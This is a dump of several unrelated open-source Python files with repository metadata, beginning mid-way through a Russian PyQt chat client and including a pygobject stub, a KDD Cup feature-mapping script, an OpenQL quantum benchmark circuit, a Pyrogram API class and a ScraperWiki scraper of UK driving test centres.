обновить список контактов, без выдачи предупреждения # пользователю. @pyqtSlot() def sig_205(self): if self.current_chat and not self.database.check_user( self.current_chat): self.messages.warning( self, 'Сочувствую', 'К сожалению собеседник был удалён с сервера.') self.set_disabled_input() self.current_chat = None self.clients_list_update() def make_connection(self, trans_obj): trans_obj.new_message.connect(self.message) trans_obj.connection_lost.connect(self.connection_lost) trans_obj.message_205.connect(self.sig_205) # Функция добавления аватара def add_avat_user(self): fname = QFileDialog.getOpenFileName( self, 'Open file', '/home/picforavat')[0] self.fname = fname file = Image.open(self.fname) width = 60 height = 50 # Изменяем размер изображения our_pict = file.resize((width, height), Image.BICUBIC) our_pict.save("avatar.jpg") file = open("avatar.jpg", "rb") our_pict = file.read() file.close() # Добавляем в БД self.database.add_avatar(our_pict) # Обрезаем изображение file = Image.open("avatar.jpg") our_pict = file.crop((0, 0, 50, 40)) our_pict.save("avatar.jpg") # Меняем аватар в окне клиента на новый pixmap = QPixmap('avatar.jpg') self.ui.avatar.setPixmap(pixmap) self.ui.avatar.resize(300, 300) self.ui.avatar.setGeometry(QRect(300, 425, 45, 35)) file = open("avatar.jpg", "rb") our_pict = file.read() file.close() # Добавляем в БД self.database.add_avatar(our_pict) def sel_avat_user(self): print('ok') def chat_history_update(self): if self.history_model: self.history_model.clear() if not self.history_model: self.history_model = QStandardItemModel() self.ui.list_messages.setModel(self.history_model) list_messages = self.transport.get_chat_message() # Берём не более 20 последних записей. length = len(list_messages) start_index = 0 if length > 20: start_index = length - 20 for i in range(start_index, length): item = list_messages[i] mess = QStandardItem( f'Сообщение от {item[0]}:\n {item[1]}') mess.setEditable(False) #mess.setBackground(QBrush(QColor(255, 213, 213))) mess.setTextAlignment(Qt.AlignLeft) self.history_model.appendRow(mess) self.ui.list_messages.scrollToBottom() # Функция отправляет на сервер сообщение, которое направлено в чат def create_message_for_chat(self): self.chat_history_update() # Текст в поле, проверяем что поле не пустое затем забирается сообщение # и поле очищается message_text = self.ui.text_message.toPlainText() self.ui.text_message.clear() self.ui.label_new_message.setText( f'Введите сообщенние в чат') self.ui.text_message.setDisabled(False) if not message_text: return try: self.transport.send_message_to_chat(message_text) # message_text_encrypted_base64.decode('ascii')) pass except ServerError as err: self.messages.critical(self, 'Ошибка', err.text) except OSError as err: if err.errno: self.messages.critical( self, 'Ошибка', 'Потеряно соединение с сервером!') self.close() self.messages.critical(self, 'Ошибка', 'Таймаут соединения!') except (ConnectionResetError, ConnectionAbortedError): self.messages.critical( self, 'Ошибка', 'Потеряно соединение с сервером!') self.close() else: self.chat_history_update() # Функция поиска истории сообщений по имени пользователя def search_mess_on_name(self): usv = self.ui.text_message.toPlainText() self.ui.text_message.clear() self.ui.text_message.setDisabled(False) if not usv: return list_contacts = self.database.get_contacts() if usv in list_contacts: if self.history_model: self.history_model.clear() if not self.history_model: self.history_model = QStandardItemModel() self.ui.list_messages.setModel(self.history_model) list_messages = self.database.get_history(usv) length = len(list_messages) start_index = 0 if length > 20: start_index = length - 20 for i in range(start_index, length): item = list_messages[i] if item[1] == 'out': mess = QStandardItem( f'Я:\n Сообщение от {item[3].replace(microsecond=0)}:\n {item[2]}') mess.setEditable(False) # mess.setBackground(QBrush(QColor(255, 213, 213))) mess.setTextAlignment(Qt.AlignLeft) self.history_model.appendRow(mess) elif item[1] == 'in': mess = QStandardItem( f'{usv}:\n Сообщение от {item[3].replace(microsecond=0)}:\n {item[2]}') mess.setEditable(False) # mess.setBackground(QBrush(QColor(255, 213, 213))) mess.setTextAlignment(Qt.AlignLeft) self.history_model.appendRow(mess) self.ui.list_messages.scrollToBottom() else: if self.history_model: self.history_model.clear() mess = QStandardItem( 'Пользователя с таким именем у вас в контактах нет') mess.setEditable(False) mess.setBackground(QBrush(QColor(255, 213, 213))) mess.setTextAlignment(Qt.AlignLeft) self.history_model.appendRow(mess)

[ "spoliv@rambler.ru" ]

spoliv@rambler.ru

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psdh/WhatsintheVector

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refs/heads/master

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ii = [('LyelCPG2.py', 1), ('MarrFDI.py', 1), ('LeakWTI2.py', 2), ('LeakWTI3.py', 5), ('PettTHE.py', 2), ('WilkJMC2.py', 1), ('GodwWLN.py', 1), ('LeakWTI.py', 2), ('BachARE.py', 1), ('MackCNH2.py', 1), ('SomeMMH.py', 1)]

[ "varunwachaspati@gmail.com" ]

varunwachaspati@gmail.com

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/gi-stubs/repository/RygelServer/HTTPGetHandlerPrivate.py

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[]

no_license

ttys3/pygobject-stubs

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# encoding: utf-8 # module gi.repository.RygelServer # from /usr/lib64/girepository-1.0/RygelServer-2.6.typelib # by generator 1.147 """ An object which wraps an introspection typelib. This wrapping creates a python module like representation of the typelib using gi repository as a foundation. Accessing attributes of the module will dynamically pull them in and create wrappers for the members. These members are then cached on this introspection module. """ # imports import gi as __gi import gi.overrides.GObject as __gi_overrides_GObject import gi.repository.Gee as __gi_repository_Gee import gi.repository.GUPnP as __gi_repository_GUPnP import gi.repository.RygelCore as __gi_repository_RygelCore import gobject as __gobject class HTTPGetHandlerPrivate(__gi.Struct): # no doc def __delattr__(self, *args, **kwargs): # real signature unknown """ Implement delattr(self, name). """ pass def __dir__(self, *args, **kwargs): # real signature unknown """ Default dir() implementation. """ pass def __eq__(self, *args, **kwargs): # real signature unknown """ Return self==value. """ pass def __format__(self, *args, **kwargs): # real signature unknown """ Default object formatter. """ pass def __getattribute__(self, *args, **kwargs): # real signature unknown """ Return getattr(self, name). """ pass def __ge__(self, *args, **kwargs): # real signature unknown """ Return self>=value. """ pass def __gt__(self, *args, **kwargs): # real signature unknown """ Return self>value. """ pass def __hash__(self, *args, **kwargs): # real signature unknown """ Return hash(self). """ pass def __init_subclass__(self, *args, **kwargs): # real signature unknown """ This method is called when a class is subclassed. The default implementation does nothing. It may be overridden to extend subclasses. """ pass def __init__(self, *args, **kwargs): # real signature unknown pass def __le__(self, *args, **kwargs): # real signature unknown """ Return self<=value. """ pass def __lt__(self, *args, **kwargs): # real signature unknown """ Return self<value. """ pass @staticmethod # known case of __new__ def __new__(*args, **kwargs): # real signature unknown """ Create and return a new object. See help(type) for accurate signature. """ pass def __ne__(self, *args, **kwargs): # real signature unknown """ Return self!=value. """ pass def __reduce_ex__(self, *args, **kwargs): # real signature unknown """ Helper for pickle. """ pass def __reduce__(self, *args, **kwargs): # real signature unknown """ Helper for pickle. """ pass def __repr__(self, *args, **kwargs): # real signature unknown """ Return repr(self). """ pass def __setattr__(self, *args, **kwargs): # real signature unknown """ Implement setattr(self, name, value). """ pass def __sizeof__(self, *args, **kwargs): # real signature unknown """ Size of object in memory, in bytes. """ pass def __str__(self, *args, **kwargs): # real signature unknown """ Return str(self). """ pass def __subclasshook__(self, *args, **kwargs): # real signature unknown """ Abstract classes can override this to customize issubclass(). This is invoked early on by abc.ABCMeta.__subclasscheck__(). It should return True, False or NotImplemented. If it returns NotImplemented, the normal algorithm is used. Otherwise, it overrides the normal algorithm (and the outcome is cached). """ pass def __weakref__(self, *args, **kwargs): # real signature unknown pass __class__ = None # (!) real value is "<class 'gi.types.StructMeta'>" __dict__ = None # (!) real value is "mappingproxy({'__info__': StructInfo(HTTPGetHandlerPrivate), '__module__': 'gi.repository.RygelServer', '__gtype__': <GType void (4)>, '__dict__': <attribute '__dict__' of 'HTTPGetHandlerPrivate' objects>, '__weakref__': <attribute '__weakref__' of 'HTTPGetHandlerPrivate' objects>, '__doc__': None})" __gtype__ = None # (!) real value is '<GType void (4)>' __info__ = StructInfo(HTTPGetHandlerPrivate)

[ "ttys3@outlook.com" ]

ttys3@outlook.com

d035d1dae19cfea09c2da4df135bd31e7906ddb9

a4bb0cde9697aa0c85375764d8353da0e1422525

/mapping_features_fn.py

a369e667d81b360cd2deaeb73b8053108bdcc8fc

[]

no_license

JanzYe/KDD_CUP_2012_Track2

5dd529eb1ca0592ab2ea71bda9416a756fc3a0b5

027f4a6025814278c82f68da1cb19ef8f3fb1f1a

refs/heads/master

2020-04-16T06:23:21.419074

2019-01-14T06:55:29

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''' This scripts should run on raw user feature files. ''' # total number of records in training.txt is almost 150000000, exactly 149639105 # divide the training.txt to feature_mapped_train and feature_mapped_valid # feature_mapped_train(120000000), feature_mapped_valid(30000000) # data_descriptionid, data_purchasedkeywordid, data_queryid, data_titleid, gender, age are not need to mapping, because every records are distinct, # and their id can consider as the value after mapping # input = "/home/yezhizi/Documents/python/2018DM_Project/track2/training.txt" # new_train = "data/feature_mapped_train.data" # new_valid = "data/feature_mapped_valid.data" input = "/home/yezhizi/Documents/python/2018DM_Project/track2/training_combined.txt" mapped = "data/feature_mapped_combined_training.data" # input = "/home/yezhizi/Documents/python/2018DM_Project/track2/test_combined.txt" # mapped = "data/feature_mapped_combined_test.data" # features_mapping = "data/features_mapping_fn.pkl" features_mapping = "data/features_mapping_combined.pkl" # number_of_training = 120000000 # number_of_training = 120000 import pickle as pkl class Feature: def __init__(self,name): self.name = name self.values = set() self.mapping = None with open(features_mapping,'rb') as f: print('features mapping loading ... ') features = pkl.load(f) print('features mapping loaded') feat_names = [ 'DisplayURL', 'AdID', 'AdvertiserID', 'Depth', 'Position', 'QueryID', 'KeywordID', 'TitleID', 'DescriptionID', 'Gender', 'Age', ] user_offsets = {} offset = 0 with open(input) as fr, open(mapped, 'w') as fw: for idx, line in enumerate(fr): records = line.strip().split("\t") # the 0, 1 are click and impression ctr = 1.0 * int(records[0]) / int(records[1]) to_write = str(ctr) for i in range(2, len(records)): val = int(records[i]) keywords = feat_names[i-2] if val not in features[keywords].mapping: val = 0 values = [str(features[keywords].mapping[val])] #record = keywords+" "+" ".join(values) to_write = to_write + ',' + str(values[0]) to_write = to_write + "\n" fw.write(to_write) if (idx+1) % 200000 == 0: print(idx+1) print(to_write) # break fr.close() fw.close()

[ "1173865843@qq.com" ]

1173865843@qq.com

69ff0d97a85477dcd1228d5e42b4be7da7365da2

0e25dc15ae9efce8bfd716d4d2041da07767968b

/qbench/benchmarks/QLib/OPENQL_converted/benstein_vazirani_41b_secret_32.py

245553254e73295a001dbe1eb9cb042f6d2efc45

[]

no_license

alxhotel/crossbar-bench

f608fc0062b4f8a5162ec33d61c0204aaf27b6ff

3bf7536e7697d29c3089b0ba564ba22d39698b88

refs/heads/master

2021-07-13T16:06:50.085838

2020-10-04T23:39:05

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from openql import openql as ql import os import argparse def circuit(config_file, new_scheduler='yes', scheduler='ASAP', uniform_sched= 'no', sched_commute = 'yes', mapper='base', moves='no', maptiebreak='random', initial_placement='no', output_dir_name='test_output', optimize='no', measurement=True, log_level='LOG_WARNING'): curdir = os.path.dirname(__file__) output_dir = os.path.join(curdir, output_dir_name) ql.set_option('output_dir', output_dir) ql.set_option('optimize', optimize) ql.set_option('scheduler', scheduler) ql.set_option('scheduler_uniform', uniform_sched) ql.set_option('mapper', mapper) ql.set_option('initialplace', initial_placement) ql.set_option('log_level', log_level) ql.set_option('scheduler_post179', new_scheduler) ql.set_option('scheduler_commute', sched_commute) ql.set_option('mapusemoves', moves) ql.set_option('maptiebreak', maptiebreak) config_fn = os.path.join(curdir, config_file) # platform = ql.Platform('platform_none', config_fn) platform = ql.Platform('starmon', config_fn) sweep_points = [1,2] num_circuits = 1 num_qubits = 43 p = ql.Program('benstein_vazirani_41b_secret_32', platform, num_qubits) p.set_sweep_points(sweep_points, num_circuits) k = ql.Kernel('benstein_vazirani_41b_secret_32', platform, num_qubits) k.gate('prepz',[41]) k.gate('x',[41]) k.gate('h',[0]) k.gate('h',[1]) k.gate('h',[2]) k.gate('h',[3]) k.gate('h',[4]) k.gate('h',[5]) k.gate('h',[6]) k.gate('h',[7]) k.gate('h',[8]) k.gate('h',[9]) k.gate('h',[10]) k.gate('h',[11]) k.gate('h',[12]) k.gate('h',[13]) k.gate('h',[14]) k.gate('h',[15]) k.gate('h',[16]) k.gate('h',[17]) k.gate('h',[18]) k.gate('h',[19]) k.gate('h',[20]) k.gate('h',[21]) k.gate('h',[22]) k.gate('h',[23]) k.gate('h',[24]) k.gate('h',[25]) k.gate('h',[26]) k.gate('h',[27]) k.gate('h',[28]) k.gate('h',[29]) k.gate('h',[30]) k.gate('h',[31]) k.gate('h',[32]) k.gate('h',[33]) k.gate('h',[34]) k.gate('h',[35]) k.gate('h',[36]) k.gate('h',[37]) k.gate('h',[38]) k.gate('h',[39]) k.gate('h',[40]) k.gate('h',[41]) k.gate('cnot',[5,41]) k.gate('h',[0]) k.gate('h',[1]) k.gate('h',[2]) k.gate('h',[3]) k.gate('h',[4]) k.gate('h',[5]) k.gate('h',[6]) k.gate('h',[7]) k.gate('h',[8]) k.gate('h',[9]) k.gate('h',[10]) k.gate('h',[11]) k.gate('h',[12]) k.gate('h',[13]) k.gate('h',[14]) k.gate('h',[15]) k.gate('h',[16]) k.gate('h',[17]) k.gate('h',[18]) k.gate('h',[19]) k.gate('h',[20]) k.gate('h',[21]) k.gate('h',[22]) k.gate('h',[23]) k.gate('h',[24]) k.gate('h',[25]) k.gate('h',[26]) k.gate('h',[27]) k.gate('h',[28]) k.gate('h',[29]) k.gate('h',[30]) k.gate('h',[31]) k.gate('h',[32]) k.gate('h',[33]) k.gate('h',[34]) k.gate('h',[35]) k.gate('h',[36]) k.gate('h',[37]) k.gate('h',[38]) k.gate('h',[39]) k.gate('h',[40]) k.gate('h',[41]) if measurement: for q in range(num_qubits): k.gate('measure', [q]) p.add_kernel(k) p.compile() ql.set_option('mapper', 'no') if __name__ == '__main__': parser = argparse.ArgumentParser(description='OpenQL compilation of a Quantum Algorithm') parser.add_argument('config_file', help='Path to the OpenQL configuration file to compile this algorithm') parser.add_argument('--new_scheduler', nargs='?', default='yes', help='Scheduler defined by Hans') parser.add_argument('--scheduler', nargs='?', default='ASAP', help='Scheduler specification (ASAP (default), ALAP, ...)') parser.add_argument('--uniform_sched', nargs='?', default='no', help='Uniform shceduler actication (yes or no)') parser.add_argument('--sched_commute', nargs='?', default='yes', help='Permits two-qubit gates to be commutable') parser.add_argument('--mapper', nargs='?', default='base', help='Mapper specification (base, minextend, minextendrc)') parser.add_argument('--moves', nargs='?', default='no', help='Let the use of moves') parser.add_argument('--maptiebreak', nargs='?', default='random', help='') parser.add_argument('--initial_placement', nargs='?', default='no', help='Initial placement specification (yes or no)') parser.add_argument('--out_dir', nargs='?', default='test_output', help='Folder name to store the compilation') parser.add_argument('--measurement', nargs='?', default=True, help='Add measurement to all the qubits in the end of the algorithm') args = parser.parse_args() try: circuit(args.config_file, args.new_scheduler, args.scheduler, args.uniform_sched, args.sched_commute, args.mapper, args.moves, args.maptiebreak, args.initial_placement, args.out_dir) except TypeError: print('\nCompiled, but some gate is not defined in the configuration file. \nThe gate will be invoked like it is.') raise

[ "alxmorais8@msn.com" ]

alxmorais8@msn.com

5871936defe13c8c76a1e5180211aed6b730fb84

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p02939/s874669540.py

a4a0e29c427f34abd6e8938f8a85118db21cf80c

[]

no_license

Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8

refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

367,112,348

0

null

UTF-8

Python

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211

py

s = str(input()) S = [] temp = '' for c in s: temp += c if S: if S[-1] != temp: S.append(temp) temp = '' else: S.append(temp) temp = '' print(len(S))

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

50413ba7b2f7b0d8c96b23ca8c6e6550f4a489e3

259453140d6b563fc0c280f0922601a54a2cb2c2

/CMGTools/Production/scripts/dataset.py

1f44ad56b3e945725420679cfd494be56a9a079b

[]

no_license

wangmengmeng/WHAnalysisPackage

f56b4a128f50801409828ca38d0f26e199201dd8

7eb1bf3b4e77579c4362396ca5e594bc93a41f2b

refs/heads/master

2021-01-17T14:31:11.701436

2014-06-05T16:07:38

null

0

null

UTF-8

Python

false

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py

#!/usr/bin/env python import os import fnmatch from CMGTools.Production.dataset import createDataset if __name__ == '__main__': import sys from optparse import OptionParser import pprint parser = OptionParser() parser.usage = "%prog [options] <dataset>\nPrints information on a sample." parser.add_option("-w", "--wildcard", dest="wildcard", default='tree*root',help='A UNIX style wilfcard for root file printout') parser.add_option("-u", "--user", dest="user", default=os.environ.get('USER', None),help='user owning the dataset.\nInstead of the username, give "LOCAL" to read datasets in a standard unix filesystem, and "CMS" to read official CMS datasets present at CERN.') parser.add_option("-b", "--basedir", dest="basedir", default=os.environ.get('CMGLOCALBASEDIR',None),help='in case -u LOCAL is specified, this option allows to specify the local base directory containing the dataset. default is CMGLOCALBASEDIR') parser.add_option("-a", "--abspath", dest="abspath", action = 'store_true', default=False, help='print absolute path') parser.add_option("-n", "--noinfo", dest="noinfo", action = 'store_true', default=False, help='do not print additional info (file size and status)') parser.add_option("-r", "--report", dest="report", action = 'store_true', default=False, help='Print edmIntegrityCheck report') parser.add_option("-c", "--readcache", dest="readcache", action = 'store_true', default=False, help='Read from the cache.') parser.add_option("--min-run", dest="min_run", default=-1, type=int, help='When querying DBS, require runs >= than this run') parser.add_option("--max-run", dest="max_run", default=-1, type=int, help='When querying DBS, require runs <= than this run') (options,args) = parser.parse_args() if len(args)!=1: parser.print_help() sys.exit(1) user = options.user name = args[0] info = not options.noinfo run_range = (options.min_run,options.max_run) data = createDataset(user, name, fnmatch.translate( options.wildcard ), options.readcache, options.basedir, run_range=run_range) data.printInfo() data.printFiles(abspath = options.abspath, info = info) if options.report: pprint.pprint( data.report )

[ "mengmeng.wang@cern.ch" ]

mengmeng.wang@cern.ch

69dbcf71f1bbf8f6d7c05e580c0952e58ee38dca

8760766a314dc1cb126b235cd2528fd39963a5bf

/database_ui/venv/Lib/site-packages/pyrogram/raw/functions/stats/get_megagroup_stats.py

5e001bdde3d2ddacb375aef3400530946f88538d

[]

no_license

sunliangjun/database_demo

bb3eeaf0523e35f1b5c2c4d80ee68197f6e60715

f7a1edc9a0eb9ce56ec76c5be67bbcbd66e45666

refs/heads/main

2023-01-02T19:43:16.874831

2020-10-22T13:06:20

2020-10-22T13:13:10

306,046,785

1

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null

UTF-8

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# Pyrogram - Telegram MTProto API Client Library for Python # Copyright (C) 2017-2020 Dan <https://github.com/delivrance> # # This file is part of Pyrogram. # # Pyrogram is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Pyrogram is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Pyrogram. If not, see <http://www.gnu.org/licenses/>. from io import BytesIO from pyrogram.raw.core.primitives import Int, Long, Int128, Int256, Bool, Bytes, String, Double, Vector from pyrogram.raw.core import TLObject from pyrogram import raw from typing import List, Union, Any # # # # # # # # # # # # # # # # # # # # # # # # # !!! WARNING !!! # # This is a generated file! # # All changes made in this file will be lost! # # # # # # # # # # # # # # # # # # # # # # # # # class GetMegagroupStats(TLObject): # type: ignore """Telegram API method. Details: - Layer: ``117`` - ID: ``0xdcdf8607`` Parameters: channel: :obj:`InputChannel <pyrogram.raw.base.InputChannel>` dark (optional): ``bool`` Returns: :obj:`stats.MegagroupStats <pyrogram.raw.base.stats.MegagroupStats>` """ __slots__: List[str] = ["channel", "dark"] ID = 0xdcdf8607 QUALNAME = "functions.stats.GetMegagroupStats" def __init__(self, *, channel: "raw.base.InputChannel", dark: Union[None, bool] = None) -> None: self.channel = channel # InputChannel self.dark = dark # flags.0?true @staticmethod def read(data: BytesIO, *args: Any) -> "GetMegagroupStats": flags = Int.read(data) dark = True if flags & (1 << 0) else False channel = TLObject.read(data) return GetMegagroupStats(channel=channel, dark=dark) def write(self) -> bytes: data = BytesIO() data.write(Int(self.ID, False)) flags = 0 flags |= (1 << 0) if self.dark is not None else 0 data.write(Int(flags)) data.write(self.channel.write()) return data.getvalue()

[ "582675682@qq.com" ]

582675682@qq.com

5af08f0235d4499b872253caf77b8dd5584d4afe

3d19e1a316de4d6d96471c64332fff7acfaf1308

/Users/A/alphagov/uk_dvla_practical_test_centres_1.py

05a90b7771facbdbc2cd97a7e16b55bc915f0fad

[]

no_license

BerilBBJ/scraperwiki-scraper-vault

4e98837ac3b1cc3a3edb01b8954ed00f341c8fcc

65ea6a943cc348a9caf3782b900b36446f7e137d

refs/heads/master

2021-12-02T23:55:58.481210

2013-09-30T17:02:59

null

0

null

UTF-8

Python

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py

# http://www.dft.gov.uk/dsa/AtoZservices_Bannered.asp?Cat=-1&TestType=car&TypeID=17 # http://www.dft.gov.uk/dsa/AtoZservices_Bannered.asp?letter=G&CAT=-1&s=&TypeID=17&TestType=car import scraperwiki import re import time from BeautifulSoup import BeautifulSoup, Tag def a_to_z(url): letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" for letter in letters: yield url % letter def absolute(url): return "http://www.dft.gov.uk/dsa/%s" % url index_urls = a_to_z(absolute("AtoZservices_Bannered.asp?letter=%s&CAT=-1&s=&TypeID=17&TestType=")) def first(gen): for a in gen: yield a return def all(gen): for a in gen: yield a def scrape(url): html = scraperwiki.scrape(url) time.sleep(2) return html process = all def soup_strip_html_preserve_brs(st): if st is None: return '' def munge(e): if isinstance(e,unicode): return e.strip() elif isinstance(e,Tag) and e.name == "br": return "\n" else: return "" return ''.join([ munge(e) for e in st.recursiveChildGenerator()]).replace(" "," ").strip("\n").strip() center_urls = set() for url in process(index_urls): html = scrape(url) soup = BeautifulSoup(html) links = soup.findAll('a',attrs = {"href": re.compile("^AddressDetails_Bannered.asp")}) for link in links: url = link["href"] name = link.text center_urls.add((url,name)) for url,p_title in process(center_urls): html = scrape(absolute(url)) soup = BeautifulSoup(html) title = soup.find('h3') if title.text <> "": addressNode = title.findNextSibling("p") center_name = title.text address = soup_strip_html_preserve_brs(addressNode) postcode = address.split("\n")[-1] def has_details_node(): next_h3 = addressNode.findNextSibling("h3") if next_h3 is None: return None elif next_h3.text == "": return None else: return next_h3 def is_test_type(line): return ":" in line and line.split(":")[0] in ["Car","Motorcycle Module 2","Motorcycle Module 1","Taxi","Vocational"] if has_details_node(): detailsNode = addressNode.findNextSibling("p") additional_details = soup_strip_html_preserve_brs(detailsNode) testsNode = detailsNode.findNextSibling("p").findNextSibling("p") else: additional_details = "" testsNode = addressNode.findNextSibling("p").findNextSibling("p") if addressNode.findNextSibling("strong"): additional_details = None startNode = addressNode test_types = [] while True: testNode = startNode.findNextSibling("strong") if testNode is None: break test = testNode.text.strip(" :") details = testNode.nextSibling.replace(" "," ").replace(": ","").strip() test_types.append([test,details]) startNode = testNode.nextSibling else: tests = soup_strip_html_preserve_brs(testsNode) test_types = [line.split(":") for line in tests.split("\n") if is_test_type(line)] data = { "url": url, "title": p_title, "center_name": center_name, "address": address, "postcode": postcode, "additional_details": additional_details, "on_offer": ",".join([t[0] for t in test_types]) } for t in test_types: data[t[0].lower()+"_avail"] = t[1] scraperwiki.datastore.save(unique_keys=['url'], data= data) # http://www.dft.gov.uk/dsa/AtoZservices_Bannered.asp?Cat=-1&TestType=car&TypeID=17 # http://www.dft.gov.uk/dsa/AtoZservices_Bannered.asp?letter=G&CAT=-1&s=&TypeID=17&TestType=car import scraperwiki import re import time from BeautifulSoup import BeautifulSoup, Tag def a_to_z(url): letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" for letter in letters: yield url % letter def absolute(url): return "http://www.dft.gov.uk/dsa/%s" % url index_urls = a_to_z(absolute("AtoZservices_Bannered.asp?letter=%s&CAT=-1&s=&TypeID=17&TestType=")) def first(gen): for a in gen: yield a return def all(gen): for a in gen: yield a def scrape(url): html = scraperwiki.scrape(url) time.sleep(2) return html process = all def soup_strip_html_preserve_brs(st): if st is None: return '' def munge(e): if isinstance(e,unicode): return e.strip() elif isinstance(e,Tag) and e.name == "br": return "\n" else: return "" return ''.join([ munge(e) for e in st.recursiveChildGenerator()]).replace(" "," ").strip("\n").strip() center_urls = set() for url in process(index_urls): html = scrape(url) soup = BeautifulSoup(html) links = soup.findAll('a',attrs = {"href": re.compile("^AddressDetails_Bannered.asp")}) for link in links: url = link["href"] name = link.text center_urls.add((url,name)) for url,p_title in process(center_urls): html = scrape(absolute(url)) soup = BeautifulSoup(html) title = soup.find('h3') if title.text <> "": addressNode = title.findNextSibling("p") center_name = title.text address = soup_strip_html_preserve_brs(addressNode) postcode = address.split("\n")[-1] def has_details_node(): next_h3 = addressNode.findNextSibling("h3") if next_h3 is None: return None elif next_h3.text == "": return None else: return next_h3 def is_test_type(line): return ":" in line and line.split(":")[0] in ["Car","Motorcycle Module 2","Motorcycle Module 1","Taxi","Vocational"] if has_details_node(): detailsNode = addressNode.findNextSibling("p") additional_details = soup_strip_html_preserve_brs(detailsNode) testsNode = detailsNode.findNextSibling("p").findNextSibling("p") else: additional_details = "" testsNode = addressNode.findNextSibling("p").findNextSibling("p") if addressNode.findNextSibling("strong"): additional_details = None startNode = addressNode test_types = [] while True: testNode = startNode.findNextSibling("strong") if testNode is None: break test = testNode.text.strip(" :") details = testNode.nextSibling.replace(" "," ").replace(": ","").strip() test_types.append([test,details]) startNode = testNode.nextSibling else: tests = soup_strip_html_preserve_brs(testsNode) test_types = [line.split(":") for line in tests.split("\n") if is_test_type(line)] data = { "url": url, "title": p_title, "center_name": center_name, "address": address, "postcode": postcode, "additional_details": additional_details, "on_offer": ",".join([t[0] for t in test_types]) } for t in test_types: data[t[0].lower()+"_avail"] = t[1] scraperwiki.datastore.save(unique_keys=['url'], data= data)

[ "pallih@kaninka.net" ]

pallih@kaninka.net